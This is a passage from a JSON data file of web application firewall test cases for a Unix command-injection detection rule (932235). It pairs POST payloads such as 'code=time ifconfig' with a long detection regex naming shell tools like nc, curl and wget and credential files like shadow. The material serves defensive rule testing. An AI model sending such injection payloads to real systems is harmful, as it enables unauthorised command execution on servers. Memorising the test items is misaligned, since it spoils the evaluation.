"(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x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`\\{]|\\|\\|?|&&?|\\$(?:\\(\\(?|[\\[\\{])|<(?:\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:(?:HEAD|POST|y(?:arn|elp))(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:dd(?:group|user)|getty|(?:l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|nsible|p(?:parmor_[^\\s\\x0b]{1,10}\\b|t(?:-get|itude(?:[\\s\\x0b&\\),<>\\|]|$)))|r(?:ch(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c|j(?:-register|disp))|s(?:cii(?:-xfr|85)|pell)|u(?:ditctl|repot|search))|b(?:a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "Block evasion using here string with command substitution" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=time ifconfig\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c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\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:(?:HEAD|POST|y(?:arn|elp))(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:dd(?:group|user)|getty|(?:l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|nsible|p(?:parmor_[^\\s\\x0b]{1,10}\\b|t(?:-get|itude(?:[\\s\\x0b&\\),<>\\|]|$)))|r(?:ch(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c|j(?:-register|disp))|s(?:cii(?:-xfr|85)|pell)|u(?:ditctl|repot|search))|b(?:a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "Block `time` prefix" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=strace ifconfig\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\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|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:(?:HEAD|POST|y(?:arn|elp))(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:dd(?:group|user)|getty|(?:l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|nsible|p(?:parmor_[^\\s\\x0b]{1,10}\\b|t(?:-get|itude(?:[\\s\\x0b&\\),<>\\|]|$)))|r(?:ch(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c|j(?:-register|disp))|s(?:cii(?:-xfr|85)|pell)|u(?:ditctl|repot|search))|b(?:a(?:s